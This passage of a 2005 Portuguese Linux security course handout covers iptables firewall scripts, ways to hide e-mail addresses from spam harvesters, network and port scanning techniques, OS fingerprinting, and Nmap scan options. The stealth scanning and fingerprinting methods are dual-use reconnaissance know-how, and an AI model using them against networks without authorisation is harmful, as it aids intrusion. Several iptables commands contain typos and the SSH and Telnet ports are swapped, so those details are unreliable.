Prof. Luís Rodrigo de O. GonçalvesProf. Luís Rodrigo de O. Gonçalves :: [email protected] :: www.lrodrigo.cjb.net Página Página 3636 de de 7171

Page 37: Linux Apostila 420 SegurancaNew

Apostila do Curso de Segurança – Apostila do Curso de Segurança – DRAF 0.4DRAF 0.4 - Petrópolis, - Petrópolis, 5 de Março de 20055 de Março de 2005

6.4.8)Firewall a ser utilizando em um bastião

#

# definindo as regras padrão

#

iptables -P INPUT DROP

iptables -P OUTUP ACCEPT

iptables -P FORARD DROP

#

# liberado o loopback

#

iptables -A INPUT -i lo -j ACCEPT

#

# filtando os pacotes

#

iptables -A INPUT -p tcp - -dport 22 -j ACCEPT

iptables -A FORWARD -d 10.10.0.0/24 -j ACCEPT

iptables -t nat -A PREROUTING -p tcp - -dport 80 -j DNAT - -to 10.10.0.1

iptables -t nat -A PREROUTING -p tcp - -dport 443 -j DNAT - -to 10.10.0.1

iptables -t nat -A PREROUTING -p tcp - -dport 21 -j DNAT - -to 10.10.0.2

iptables -t nat -A PREROUTING -p tcp - -dport 110 -j DNAT - -to 10.10.0.3

iptables -t nat -A PREROUTING -p tcp - -dport 995 -j DNAT - -to 10.10.0.3

iptables -t nat -A PREROUTING -p tcp - -dport 25 -j DNAT - -to 10.10.0.3

iptables -t nat -A PREROUTING -p tcp - -dport 465 -j DNAT - -to 10.10.0.3

iptables -t nat -A PREROUTING -p tcp - -dport 143 -j DNAT - -to 10.10.0.3

iptables -t nat -A PREROUTING -p tcp - -dport 993 -j DNAT - -to 10.10.0.3

Prof. Luís Rodrigo de O. GonçalvesProf. Luís Rodrigo de O. Gonçalves :: [email protected] :: www.lrodrigo.cjb.net Página Página 3737 de de 7171

Page 38: Linux Apostila 420 SegurancaNew

Apostila do Curso de Segurança – Apostila do Curso de Segurança – DRAF 0.4DRAF 0.4 - Petrópolis, - Petrópolis, 5 de Março de 20055 de Março de 2005

6.4.9) Firewall para compartilhamento do Acesso a Internet

#

# libera forward no kernel

#

echo “1” > /proc/sys/net/ipv4/ip_forward

#

# Política padrão

#

iptables -P INPUT DROP

iptables -P OUTPUT ACCEPT

iptables -P FORWARD DROP

#

# liberando acesso a interface lo

#

iptables -A INPUT -i lo -J ACCEPT

#

# libera a entrada de conexões iniciadas pela máquina

#

iptables -A INPUT -m state - -state ESTABLISHED,RELATED -j ACCEPT

#

# bloqueia entrada na rede de conexões inválidas

#

iptables -A FORWARD -m state - -state NEW,INVALID -j DROP

#

# hablitando o macascaramento com ip dinâmico

#

iptables -t nat -A POSTROUTING -s 192.168.254.0/24 -o eth0 -j MASQUERADE

#

# libera a entrada de conexões iniciadas pela rede

#

iptables -A FORWARD -o eth0 -m state - -state ESTABLISHED,RELATED -j ACCEPT

#

# habilita o forward vinda da rede interna

#

iptables -A FORWARD -i eth1 -s 192.168.254.0/24 -J ACCEPT

Prof. Luís Rodrigo de O. GonçalvesProf. Luís Rodrigo de O. Gonçalves :: [email protected] :: www.lrodrigo.cjb.net Página Página 3838 de de 7171

Page 39: Linux Apostila 420 SegurancaNew

Apostila do Curso de Segurança – Apostila do Curso de Segurança – DRAF 0.4DRAF 0.4 - Petrópolis, - Petrópolis, 5 de Março de 20055 de Março de 2005

7) SPAM

O SPAM, prática tão comum nos dias atuais, tem se tornado um problema para a maioria dos

administradores de sistemas, desenvolvedores e usuários de internet, mas a medida que os filtros anti-spam

evoluem as técnicas utilizadas para burlar os filtros se desenvolvem mais rápido ainda. Uma técnica que tem

surtido efeito é o uso da heurística, mas seu ponto fraco é apresentar uma grande quantidade de falsos

positivos.

Mas uma coisa é certa muito administradores estão ajudando os inimigos, principalmente aqueles

que devolvem as mensagens rejeitadas ao spammer que passam a ter certeza da existência daquele e-mail.

Mas alguns administradores estão fazendo sua parte, uma das medidas adotadas é a adoção de

servidores de SMTP que requerem a autenticação dos usuários antes de enviar o e-mail à seu destinatário.

A seguir serão apresentadas algumas técnicas que podem ser utilizadas para minimizar a ação dos

spammer.

7.1) Protegendo os endereços de e-mail

Segundo pesquisa realizada pelo “Center for Democracy and Technology (CDT)”, uma das

principais fontes de endereços de e-mail para os spammer são os websites que estão disponíveis e que não

requerem autenticação. Neste contento alguns acham interessante excluir os e-mail das páginas

impediando este tipo de coleta por parte dos spanner, mas como os verdadeiros usuários terão acesso a

eles. O que deve ser implementado é uma forma de evitar que os spanner possam utilizar seus “robos” para

coletarem de forma automática estes endereços nos websites.

O funcionamento destes “robos garimpeiros” se baseia em encontrar algumas palavras ou

caracteres chaves nas páginas da internet, das quais pode-se estacar “mailto”, “@”, “mail”, “e-mail” e etc. A

aqueles que fazem uso de algum sistema operacional UNIX-Like, como o Linux, podem construir seu

próprio scanner de e-mail com alguns comandos ( wget, tr, send, sort, cat e uniq).

Mas nem tudo está perdido, várias são as técnicas que camuflagem que podem ser utilizadas a

mais simples, podem a mais problemática para o usuário é utilizar um e-mail “falso” como por exemplo:

[email protected], apesar de ser eficiente esta técnica pode complicar a vida

do usuários mais leigos, que também não saberão distinguir qual é a parte válida do endereço.

Prof. Luís Rodrigo de O. GonçalvesProf. Luís Rodrigo de O. Gonçalves :: [email protected] :: www.lrodrigo.cjb.net Página Página 3939 de de 7171

Page 40: Linux Apostila 420 SegurancaNew

Apostila do Curso de Segurança – Apostila do Curso de Segurança – DRAF 0.4DRAF 0.4 - Petrópolis, - Petrópolis, 5 de Março de 20055 de Março de 2005

Outra forma de se proteger é inserir no código html o e-mail utilizando os caracteres codificados e

não os caracteres em sí, por exemplo no lugar de [email protected] deveríamos utilizar:

usuari@exemp&#1

08;o.com.br

Todos os navegadores existentes conseguem interpretar estes caracteres codificados, mas os robos

utilizados pelos spammer não possuem ferramentas para interpretar estes caracteres, não ainda.

Outra técnica que pode ser utilizada são os java scripts, que também não são interpretados pelos

robos, podemos por exemplo usa a função documment.writer() para escrever o conteúdo do e-mail, que

permitirá aos usuários visualizarem o endereço mas que irão confundir as sondas de coleta, ainda neste

sentido podemos colocar o endereço de e-mail em um arquivo externo.

A criptografia também pode nos ajudar, uma forma bem simplória de resolver o problema é utilizar a

função “XOR” da lógica matemática para esconder o conteúdo do texto no código e utilizar o java script para

realizar a decodificação do endereço. Mesmo sem uma forma fraca de criptografia ela é muito eficientes

contra os robos dos spammers. Mas os clientes que não possuem o java script habilitado não poderão

visualizar o endereço de e-mail, contudo a grande maioria dos navegadores já possuem suporte a java

script, basta então solicitar ao usuário que o habilite em seu navegador.

Mas quem falou que e-mail tem que ser representado na forma de texto puro? Se utilizarmos uma

figura contendo o endereço de e-mail, como a maioria dos robos não verificam o conteúdos das figuras o

endereço passará desapercebido. Todavia também podemos utilizar uma animação flash para a mesma

finalidade, mas o flash nem sempre está instalado na máquina do visitante e ele ainda não foi portado para

todas as plataforma que suportam o uso de navegadores web.

Entretanto se o motivo de se expor o endereço de e-mail é para que os visitantes possam entrar em

contato, podemos trocar este endereço por um formulário simples que pode ser usado para a mesma

finalidade.

Mas se seu objetivo é descobrir quem está garimpando seu site atrás de endereço de e-mail, crie

endereços de e-mails dinâmicos, através de java script, de tal modo que ele contenha a data, hora e

endereço ip de quem está acessando a página, logo ao receber um e-mail para endereços invalidos seu

servidor de e-mail pode repassá-los para uma conta especial que o administrador deverá monitorar, com isto

será possível determinar quem ou de onde os robos estão sendo disparados.

Prof. Luís Rodrigo de O. GonçalvesProf. Luís Rodrigo de O. Gonçalves :: [email protected] :: www.lrodrigo.cjb.net Página Página 4040 de de 7171

Page 41: Linux Apostila 420 SegurancaNew

Apostila do Curso de Segurança – Apostila do Curso de Segurança – DRAF 0.4DRAF 0.4 - Petrópolis, - Petrópolis, 5 de Março de 20055 de Março de 2005

8) Analisando e varrendo a Rede

Para realizar a varredura da rede, características específicas do seu protocolo devem ser

exploradas. Como o protocolo de rede utilizado na especificação do modelo é o TCP/IP, as técnicas de

varredura aqui descritas são aquelas que se baseiam nas características desta pilha de protocolo.

Sobre a pilha do TCP/IP existem três tipos básicos de varreduras: uma baseada no seu protocolo de

controle (ICMP), outra no protocolo TCP e a terceira no protocolo UDP. Dentre as varreduras, a mais

utilizada é a TCP, isto se deve ao elevado nível de exatidão que esta coleta de dados propicia.

8.1) Varredura ICMP - Internet Control Message Protocol

Uma das técnicas mais simples de varredura é a Varredura via ICMP. O protocolo ICMP é

normalmente utilizado para o envio e recebimento de informações sobre o funcionamento dos nós, como por

exemplo, data e hora.

Através deste protocolo é possível implementar vários métodos de varreduras, como por exemplo:

envio de ECHO e ECHO Reply; análise de mensagens de erro geradas por um nó, uso de Trace Route

com ICMP ECHO e etc.

ICMP ECHO e ECHO Reply : Esta varredura consiste no envio de pacotes do tipo ICMP

ECHO ao nó alvo e aguardar por uma resposta. Todo nó ativo deve responder a esta mensagem com um

pacote do tipo ICMP ECHO Reply . Quando um nó não responde aos pacotes ICMP ECHO dentro de um

intervalo de tempo (time-out), o mesmo pode estar desconectado ou sendo filtrado por algum firewall ou

gateway de borda.

Um exemplo de varredura via ICMP é a utilização do comando "ping" , que é um aplicativo

padrão TCP/IP que está presente em várias arquiteturas é permite o envio de pacotes do

tipo ICMP ECHO. para verificar se um nó está ativo. Porém, esta forma de verificação não é

indicada para redes com mais do que poucas dezenas de nós. O ping sempre espera a

resposda de um nó ao pacote enviado, ou até que ocorra o time-out, antes de enviar um

outro pacote.

Uma alternativa ao ping é o aplicativo fping, que é utilitário de rede disponível para as

plataformas Unix-Like e que funciona de forma análoga ao ping, mas com o envio de

pacotes de forma paralela que utiliza a mesma técnica, entretanto realiza o envio dos

Prof. Luís Rodrigo de O. GonçalvesProf. Luís Rodrigo de O. Gonçalves :: [email protected] :: www.lrodrigo.cjb.net Página Página 4141 de de 7171

Page 42: Linux Apostila 420 SegurancaNew

Apostila do Curso de Segurança – Apostila do Curso de Segurança – DRAF 0.4DRAF 0.4 - Petrópolis, - Petrópolis, 5 de Março de 20055 de Março de 2005

pacotes ICMP de forma simultânea para vários endereços, acelerando o processo de

varredura da rede. Outra funcionalidade deste aplicativo é a possibilidade de se configurar o

"time-out" da conexão.

O uso do endereço de Broadcast e de Rede são duas alternativas que podem ser utilizadas

neste tipo de varredura. Neste caso, todos os nós ativos na rede devem responder ao nó

que originou a mensagem com um pacote ICMP ECHO Reply. Desta forma, com um único

pacote é possível varrer todo um segmento de rede. Entretanto, esta técnica só pode ser

aplicada para nós baseados no Unix , uma vez que máquinas com sistema operacional da

Microsoft não respondem a solicitação ICMP quando enviada ao endereço de Broadcast ou

de Rede.

Pois segundo a RFC1122, se um pacote ICMP ECHO é enviado via endereço de

Broadcast ou de Rede, o mesmo pode ser silenciosamente descartado pelo nós que o

recebe.

A varredura utilizando endereço de Broadcast ou Rede, pode provocar uma negação de

serviço ( D.o.S - Denial-of-Service) no nó responsável pelo envio dos pacotes ICMP ECHO.

Esta negação de serviço ocorre devido à grande quantidade de pacotes de resposta que ele

recebe para cada pacote ICMP gerado.

Non-ECHO ICMP : Além da mensagem ICMP ECHO, o protocolo ICMP implementa vários

outros tipos de mensagens que podem ser utilizadas na varredura da rede e em alguns casos no próprio

mapeamento de dispositivos de rede. Dentre as principais mensagens ICMP pode-se destacar: ECHO

( Request - Tipo 8 , Reply - Tipo 0); Time Stamp ( Request - Tipo 13 , Reply - Tipo 14); Information

( Request - Tipo 15 , Reply - Tipo 16) e Address Mask ( Request - Tipo 17 , Reply - Tipo 18).

O envio de mensagens do tipo ICMP Time Stamp Request é utilizado normalmente, para

questionar a um nó a sua hora e data atual. Receber uma resposta ICMP Time Stamp

Reply , significa que o nó está ativo. Contudo, as mensagens ICMP Time Stamp Request

não costumam ser respondidas por nós com um dos sistemas operacionais da Microsoft. O

comportamento dos sistemas da Microsoft se deve à forma como a RFC 1122 foi

interpretada pelos seus desenvolvedores.

A mensagem ICMP Address Mask Request é utilizada por uma máquina sem disco, para

obter a máscara de rede durante seu processo de boot e também pode ser utilizada para

realizar a varredura da rede.

Quando uma solicitação deste tipo é feita através do endereço de Broadcast todos os nós

Prof. Luís Rodrigo de O. GonçalvesProf. Luís Rodrigo de O. Gonçalves :: [email protected] :: www.lrodrigo.cjb.net Página Página 4242 de de 7171

Page 43: Linux Apostila 420 SegurancaNew

Apostila do Curso de Segurança – Apostila do Curso de Segurança – DRAF 0.4DRAF 0.4 - Petrópolis, - Petrópolis, 5 de Março de 20055 de Março de 2005

que estão configurados para responder a esta mensagem envia um "reply" com o

endereço solicitado. Normalmente este tipo de mensagem é respondida por Gateways,

Roteadores e em alguns casos por máquinas, que funcionam como agentes autorizados

para o fornecimento de máscara de rede.

ICMP Error Messages: Este método consiste no envio de mensagens formatadas de tal

modo que ao serem recebidas pelo nó produzirão uma mensagem de erro do protocolo ICMP.

Uma das formas de se provocar uma mensagem de erro é através do envio de pacotes IP

que possuem em seu cabeçalho campos incorretos. Pacotes deste tipo normalmente geram

uma mensagem de erro do tipo "ICMP Parameter Problem Error" , que normalmente

possui o campo "Code" configurado para zero (0). Esta varredura permite identificar nós

ativos, independentemente dos protocolos (TCP/UDP/ICMP) implementados por eles, que

também pode ser empregada sobre roteadores. Contudo, roteadores realizam uma

verificação mais relaxada dos campos do cabeçalho IP, como afirma a RFC1812 .

Outra vantagem é que, esta técnica pode ser aplicada mesmo se o nó está sendo filtrado

por algum firewall , uma vez que as mensagens forjadas podem ser enviadas para portas

específicas, como por exemplo, as portas TCP: 21, 25, 80 e UDP 53.

ICMP Fragment Reassembly Time Exceeded : Quando um nó recebe um datagrama

fragmentado em vários pacotes e ao remontá-los percebe que estão faltando alguns pacotes, ele os

aguarda por um determinado período de tempo, quando então irá descartar todos os pacotes e enviará ao

nó que originou os datagramas, uma mensagem de erro do tipo: "ICMP Fragment Reassembly Time

Exceeded" .

ICMP Fragmentation Needed and Don't Fragment Bit was Set : Quando um roteador

recebe uma mensagem, ele verifica o valor do campo "PMTU" , se este for maior do que o valor que ele

está utilizando, o roteador pode retornar ao nó, que gerou o pacote, uma mensagem de erro do tipo "ICMP

Fragmentation Needed and Don't Fragment Bit was Set" .

Utilizando esta técnica, é possível determinar a existência de Roteadores entre a máquina

alvo e a máquina atual, bem como informações específicas que podem ajudar à determinar

a suposta marca e modelo deste equipamento.

Prof. Luís Rodrigo de O. GonçalvesProf. Luís Rodrigo de O. Gonçalves :: [email protected] :: www.lrodrigo.cjb.net Página Página 4343 de de 7171

Page 44: Linux Apostila 420 SegurancaNew

Apostila do Curso de Segurança – Apostila do Curso de Segurança – DRAF 0.4DRAF 0.4 - Petrópolis, - Petrópolis, 5 de Março de 20055 de Março de 2005

8.2) Varredura de Portas

Vários gateways de segurança impedem o envio e o recebimento de pacotes ICMP entre redes

distintas, para inibir a varredura ICMP .

Quando as varreduras baseadas no protocolo ICMP não podem ser utilizadas, a Varredura de

Portas é uma alternativa eficiente, uma vez que sempre existem portas através das quais um gateway

permite o tráfego de entrada e saída, como é o caso das portas: 21 (FTP), 22 (Telnet), 23 (SSH), 25

(SMTP), 80 (HTTP), 110 (POP) e 443 (HTTPS) .

As varreduras de porta são normalmente baseadas ou no protocolo TCP ou no protocolo UDP .

Devido à suas características, o protocolo TCP é aquele que apresenta a maior variedade de tipos de

varredura.

8.2.1) Varredura de Portas TCP

A varredura de portas TCP é feita pelo envio de pacotes à porta alvo e aguardando-se pelas

respostas. Quando a porta alvo responde, os pacotes recebidos terão alguns de seus campos analisados e,

com base nesta análise, será possível determinar se a porta está aberta e o nó ativo.

Atualmente, existem vários tipos de varredura TCP, algumas das quais são descritas a seguir.

Varredura de Conexão TCP : Nesta varredura, a máquina de origem tenta estabelecer uma

conexão válida com a porta alvo, durante a qual deve ocorrer o "3 way handshake" do protocolo TCP, este

processo consiste no envio de um pacote "SYN" à porta alvo, no recebimento de um pacote "SYN/ACK"

\ e finalmente no envio do pacote "ACK" à porta alvo. Caso a conexão seja completada com sucesso, é

possível afirmar que a porta está aberta e o nó ativo.

Por realizar uma conexão completa, esta varredura pode ser facilmente percebida por

ferramentas de detecção de intrusão e por essa razão raramente é utilizada com finalidade furtiva.

Varredura TCP SYN : esta varredura também é conhecida como varredura semi-aberta, pois ao

receber o pacote "SYN/ACK" vindo da porta alvo, o nó, que originou a primeiro pacote, não responde com

o pacote "ACK" . Ao receber o pacote com os bits "SYN/ACK" setados, o nó pode-se afirmar que a porta

está aberta. Contudo, se for recebido um pacote com os bits "RST/ACK" , a porta provavelmente não está

no estado de escuta.

Prof. Luís Rodrigo de O. GonçalvesProf. Luís Rodrigo de O. Gonçalves :: [email protected] :: www.lrodrigo.cjb.net Página Página 4444 de de 7171

Page 45: Linux Apostila 420 SegurancaNew

Apostila do Curso de Segurança – Apostila do Curso de Segurança – DRAF 0.4DRAF 0.4 - Petrópolis, - Petrópolis, 5 de Março de 20055 de Março de 2005

Por ser uma técnica mais furtiva, vários sistema de monitoramento não registram este tipo de

varredura.

Varredura TCP FIN : este técnica é muito utilizada contra sistemas baseados em UNIX, pois

quando estes recebem um pacote "FIN" destinado à porta fechada, eles enviam de volta um pacote "RST",

contudo o mesmo não acontece com sistemas Windows que ignoram o pacote. Este padrão é documentado

na RFC793 .

Varredura TCP Xmas Tree : neste caso ocorre o envio de um pacote com os bits "FIN" , "URG" e

"PUSH" ligados à porta alvo e segundo a RFC793, toda porta fechada deve responder com um pacote

"RST"

Varredura TCP NULL : Quando uma porta alvo recebe um pacote com todos os flags desligados

(setados como 0), ela deve responder com um pacote "RST" caso esteja fechada.

Varredura TCP ACK : Esta técnica é usada para mapear regras de um determinado firewall,

permitindo determinar se o firewall é apenas um filtro de pacote ou um firewall de estados.

Varredura TCP Windows : Esta técnica analisa o tamanho do campo Window do protocolo TCP e

permite determinar se a porta está aberta , filtrada ou não filtrada . Esta análise é possível, pois alguns

gateways de segurança alteram o valor deste campo quando filtram determinadas portas.

Varredura TCP RPC : Esta técnica permite identificar qual é a versão dos aplicativos RPC \footnote

{O serviço RPC (Remote Procedure Call) é especifico do sistema operacional UNIX. que estão ativos em

um nó Unix Like. Alguns dos serviços que fazem uso do RPC são o NFS (Network File System) e o NIS

(Network Information Service).

8.2.2) Varredura de Portas UDP

Apesar de existirem vários tipos de varreduras TCP, existe somente uma baseada no protocolo

UDP. Esta única varredura consiste no envio de "datagramas" com zero (0) bytes de dados à porta alvo. A

resposta pode ser uma mensagem "ICMP port unreachable" indicando que a porta está fechada, caso não

ocorra nenhuma resposta, a porta pode estar aberta ou sendo filtrada.

Quando datagramas são enviados a várias portas de uma máquina e um grande número delas não

os responde, estas provavelmente estão em estado de escuta. Por outro lado, se nenhuma porta responde,

isto pode indicar que ou o nó está fora do ar ou o mesmo está sendo filtrado.

Prof. Luís Rodrigo de O. GonçalvesProf. Luís Rodrigo de O. Gonçalves :: [email protected] :: www.lrodrigo.cjb.net Página Página 4545 de de 7171

Page 46: Linux Apostila 420 SegurancaNew

Apostila do Curso de Segurança – Apostila do Curso de Segurança – DRAF 0.4DRAF 0.4 - Petrópolis, - Petrópolis, 5 de Março de 20055 de Março de 2005

Uma forma alternativa de análise consiste na escolha de uma porta UDP que, segundo a lista de

porta definida pela IANA, não deve estar em estado de escuta, e no envio de pacotes, se a mesma não

responder com uma mensagem "ICMP Port Unreachable Error" é porque ela está sendo filtrada.

Existe uma grande quantidade de ferramentas disponíveis para se realizar a varredura de redes de

computadores, no entanto, apenas algumas se destacam pelas suas funcionalidades, dentre elas:

Varredura de ICMP: Ping, Fping, Hping, Nmap, Icmpenum e Icmpquery.

Varredura de Portas: Nmap, Strobe, Udp_scan e Netcat.

8.3) Coleta do sistema operacional dos nós remotos

Utilizando-se das técnicas de varredura, o modelo pode realizar o mapeamento de todo um

segmento de rede, identificando nós ativos e portas abertas, porém estas técnicas não permitem determinar,

com exatidão, o Sistema Operacional ativo em um nó remoto e portanto é necessário o uso de uma outra

metodologia para este fim.

A metodologia comumente utilizada para determinar o sistema operacional de um nó se baseia na

coleta de seu "fingerprint" ou sua "impressão digital" . Quando os desenvolvedores dos vários sistemas

operacionais implementam a pilha do protocolo TCP/IP , eles normalmente interpretam de forma distinta

as recomendações feitas pelas RFCs e produzem pilhas com características próprias. Estas

características formam o "fingerprinting" de um nó.

Analisando o comportamento da pilha de uma determinada versão de um sistema operacional e

mapeando o resultado dentro de um banco de dados, é possível utilizar estes dados para a verificação do

sistema operacional de outros nós.

O "fingerprinting" de um nó pode ser coletado de forma Ativa , através do envio de pacotes ao nó

alvo e da análise do pacotes recebidos, e de forma Passiva , pela análise de pacotes pertencentes a

conexões já estabelecidas e coletados diretamente pela interface de rede.

Prof. Luís Rodrigo de O. GonçalvesProf. Luís Rodrigo de O. Gonçalves :: [email protected] :: www.lrodrigo.cjb.net Página Página 4646 de de 7171

Page 47: Linux Apostila 420 SegurancaNew

Apostila do Curso de Segurança – Apostila do Curso de Segurança – DRAF 0.4DRAF 0.4 - Petrópolis, - Petrópolis, 5 de Março de 20055 de Março de 2005

8.3.1) Coleta ativa do fingerprinting

A coleta ativa do "fingerprinting" consiste no envio de pacotes préviamente formatados para o nó

alvo e na análise de campos específicos dos pacotes recebidos como resposta. Neste tipo de coleta, a

interface de rede não necessita ser colocada em modo promíscuo.

O "fingerprinting" ativo possui um elevado nível de exatidão, mas falha quando as características

da pilha TCP/IP são alteradas pelo seu administrador. Isto normalmente ocorre quando o administrador

realiza otimizações no nó ou quando ele implementa uma política baseada em "obscuridade" , na qual o

"fingerprinting" é alterado para forjar um outro sistema operacional.

A coleta ativa da impressão digital de um nó pode ser realizada através de várias análises simples,

tais como:

Sonda FIN: segundo a RFC973 , quando uma porta aberta recebe um pacote "FIN" não deve

responder, entretanto algumas pilhas TCP/IP , como é o caso da pilha do Windows NT, responde com uma

mensagem FIN/ACK ;

Sonda de Flag Falso: consiste no envio de um pacote SYN com o flag indefinido configurado

como "1" , dependendo do sistema operacional. Este pacote pode ser respondido através de um pacote

com o mesmo flag setado em "1". Este procedimento é implementado pelo Linux e por outros sistemas

Unix Like ;

Bit não Fragmentar: para permitir um melhor desempenho do protocolo, TCP/IP alguns sistema

operacionais setam este campo com o valor "1" e outros, como é o caso do Solaris , não permitem o seu

uso;

Tamanho da Janela TCP: o tamanho deste campo é normalmente dependente do sistema

operacional. Por exemplo: o AIX é o único sistema operacional a utilizar o valor Ox3F25 para este campo;

Numero Seqüencial do ACK: esta técnica consiste em observar o valor do número seqüencial do

pacote ACK . Alguns sistemas respondem ao pacote com o mesmo número seqüencial daquele que o

originou, outros incrementam este valor em uma unidade antes de respondê-lo;

Limitação das Mensagem de Erro ICMP: alguns sistemas operacionais, seguindo as

recomendações da RFC1812, limitam a taxa de envio das mensagens de erro ICMP a um determinado valor

por intervalo de tempo. Sendo este valor padronizado, basta enviar vários pacotes UDP à uma porta

fechada e aguaradar a mensagem "ICMP port unreachable" . Esta técnica normalmente não é muito

Prof. Luís Rodrigo de O. GonçalvesProf. Luís Rodrigo de O. Gonçalves :: [email protected] :: www.lrodrigo.cjb.net Página Página 4747 de de 7171

Page 48: Linux Apostila 420 SegurancaNew

Apostila do Curso de Segurança – Apostila do Curso de Segurança – DRAF 0.4DRAF 0.4 - Petrópolis, - Petrópolis, 5 de Março de 20055 de Março de 2005

utilizada, pois torna a coleta do fingerprinting lenta ;

Tipo de Serviço (TOS): a maioria dos sistema operacionais setam este campo para zero (0)

quando enviam uma mensagem " ICMP port unreachable ", apesar de alguns sistemas operacionais utilizam

valores diferentes.

Opções do TCP: as opções básicas do protocolo TCP são determinadas pela RFC793 e pela

RFC1323, já as opções avançadas são definidas pela RFC1323. Realizando o envio de vários pacotes com

valores específicos nestes campos e analisando a resposta, pode-se supor o sistema operacional ativo,

visto que nem todos os sistemas implementam todas as opções descritas nestas RCFs .

Existem ainda outras técnicas que não se utilizam de pacotes TCP ou UDP, ao invés disto, fazem

uso de mensagens de ICMP. Estas técnicas foram utilizadas por Ofir Arkin na construção da ferramenta

Xprobe .

8.3.2) Coleta passiva do fingerprinting

A coleta passiva consiste na captura de pacotes, pertencentes às conexões ativas, por um sniffer.

Sniffers são utilitários de rede que operam em modo promíscuo e permitem a coleta dos dados das

conexões de outras estações de trabalho, sem que ocorra a alteração da mesma ou que a ação seja

detectada e da análise dos mesmos. Esta coleta necessita que a interface de rede esteja operando em

modo promíscuo. No modo promíscuo todo o tráfego de dados pode ser capturado por uma interface de

rede, independentemente do endereço de destino , não gerando assim tráfego na rede.

O fingerprinting passivo possui a grande de vantagem ser indetectável pelo nó alvo. Por outro lado,

caso existam pacotes forjados circulando pela rede, a coleta passiva pode ser induzida a determinar de

forma errônea o sistema operacional de alguns nós.

A análise dos pacotes coletados pela interface de rede tem por finalidade determinar as

"idiossincrasias" nas implementações das pilhas TCP/IP de cada sistema operacional.

Os principais campos utilizados para identificar o sistema operacional de um nó são: o TTL , o

Windows Size , o DF e o TOS , pois possuem valores tabelados de acordo com o sistema operacional e

sua versão.

Durante uma análise, o primeiro campo verificado é o campo TTL . Quando o valor deste campo é

igual à 64, o pacote provavelmente pertence a um nó com Linux ou FreeBSD.

Prof. Luís Rodrigo de O. GonçalvesProf. Luís Rodrigo de O. Gonçalves :: [email protected] :: www.lrodrigo.cjb.net Página Página 4848 de de 7171

Page 49: Linux Apostila 420 SegurancaNew

Apostila do Curso de Segurança – Apostila do Curso de Segurança – DRAF 0.4DRAF 0.4 - Petrópolis, - Petrópolis, 5 de Março de 20055 de Março de 2005

O segundo campo analisado é o Windows Size , que normalmente possui valor igual a 0x7D78

quando a máquina possui uma versão do Windows ou do Linux instalado. O terceiro campo verificado é o

flag DF , que indica se o pacotes está fragmentado ou não. Poucos são os sistemas que setam este bit

como "zero", mas o SCO e o OpenBSD utilizam este padrão. O ultimo campo verificado é o TOS , que na

maioria das mensagem está setado para "zero".

Por exemplo: suponha que um dos pacotes capturados pelo "sniffer" apresente as características

abaixo . Cruzando os dados coletados com as informações acima, pode-se concluir que o nó provavelmente

roda uma versão do Kernel do Linux.

TTL 64

Window Size 0x7D78

DF bit 1

TOS 0x0

Outros campos também podem ser utilizados na detecção do sistema operacional de forma passiva,

mas softwares como o Siphon, p0f e o Cheops utilizam somente estes quatro campos para gerar e

verificar as assinaturas dos sistemas operacionais.

Prof. Luís Rodrigo de O. GonçalvesProf. Luís Rodrigo de O. Gonçalves :: [email protected] :: www.lrodrigo.cjb.net Página Página 4949 de de 7171

Page 50: Linux Apostila 420 SegurancaNew

Apostila do Curso de Segurança – Apostila do Curso de Segurança – DRAF 0.4DRAF 0.4 - Petrópolis, - Petrópolis, 5 de Março de 20055 de Março de 2005

9)Kit de Ferramentas

As próximas sessões apresentam algumas ferramentas comumente utilizadas por administradores

no processo de verificaçao do nível de segurança de seus ambientes.

9.1) Nmap

O Nmap fornece, de uma maneira geral, a relação de computadores e serviços ativos. Existem

diversas formas e parâmetros a serem informados durante uma varredura. Para obter o código fonte é só

acessar o link abaixo e procurar por “Latest Stable Version Tarball”:

http://www.insecure.org/nmap_download.html

Este aplicativo possui os seguintes métodos de varredura:

-sP ou Ping scan: Algumas vezes é necessário saber se um determinado host ou rede está

no ar. Nmap pode enviar pacotes ICMP “echo request” para verificar se determinado host

ou rede está ativa. Hoje em dia, existem muitos filtros que rejeitam os pacotes ICMP

“echo request”, então envia um pacote TCP ACK para a porta 80 (default) e caso receba

RST o alvo está ativo. A terceira técnica envia um pacote SYN e espera um RST ou

SYN-ACK.

-sR ou RCP scan: Este método trabalha em conjunto com várias técnicas do Nmap. Ele

considera todas as portas TCP e UDP abertas e envia comandos NULL SunRPC, para

determinar se realmente são portas RPC. É como se o comando “rpcinfo -p” estivesse

sendo utilizado, mesmo através de um firewall ( ou protegido por TCP wrappers ).

-sS ou TCP SYN scan: Técnica também conhecida como “half-open”, pois não abre uma

conexão TCP completa. É enviado um pacote SYN, como se ele fosse uma conexão real

e aguarda uma resposta. Caso um pacote SYN-ACK seja recebido, a porta está aberta,

enquanto um como resposta indica que a porta está fechada. A vantagem dessa

abordagem é que poucos irão detectar esse scanning de portas.

-sT ou TCP connect() scan: É a técnica mais básica de TCP scanning. É utilizada a chamada

de sistema (system call) “connect()” que envia um sinal as portas ativas. Caso a porta

Prof. Luís Rodrigo de O. GonçalvesProf. Luís Rodrigo de O. Gonçalves :: [email protected] :: www.lrodrigo.cjb.net Página Página 5050 de de 7171

Page 51: Linux Apostila 420 SegurancaNew

Apostila do Curso de Segurança – Apostila do Curso de Segurança – DRAF 0.4DRAF 0.4 - Petrópolis, - Petrópolis, 5 de Março de 20055 de Março de 2005

esteja aberta recebe como resposta “connect()”. É um dos scan mais rápidos, porém

fácil de ser detectado.

-sU ou UDP scan: Este método é utilizado para determinar qual porta UDP está aberta em um

host. A técnica consiste em enviar um pacote UDP de 0 byte para cada porta do host. Se

for recebido uma mensagem ICMP “port unreachable” então a porta está fechada, senão

a porta pode estar aberta. Para variar um pouco, a Microsoft ignorou a sugestão da RFC

e com isso a varredura de máquinas Windows é muito rápida.

-sV ou Version detection: Após as portas TCP e/ou UDP serem descobertas por algum dos

métodos, o nmap irá determinar qual o serviço está rodando atualmente. O arquivo

nmap-service-probes é utilizado para determinar tipos de protocolos, nome da aplicação,

número da versão e outros detalhes.

-sF, -sX, -sN ou Stealth FIN, Xmas Tree ou Null: Alguns firewalls e filtros de pacotes detectam

pacotes SYN's em portas restritas, então é necessário utilizar métodos avançados para

atravessar esses softwares.

FIN: Portas fechadas enviam um pacote RST como resposta a pacotes FIN, enquanto

portas abertas ignoram esses pacotes. (Esse método não funciona com a plataforma Windows,

uma vez que a Microsoft não seguiu RFC 973)

Xmas Tree: Portas fechadas enviam um pacote RST como resposta a pacotes FIN,

enquanto portas abertas ignoram esses pacotes. As flags FIN, URG e PUSH são utilizados no

pacotes FIN que é enviado ao alvo. (Esse método não funciona com a plataforma Windows, uma

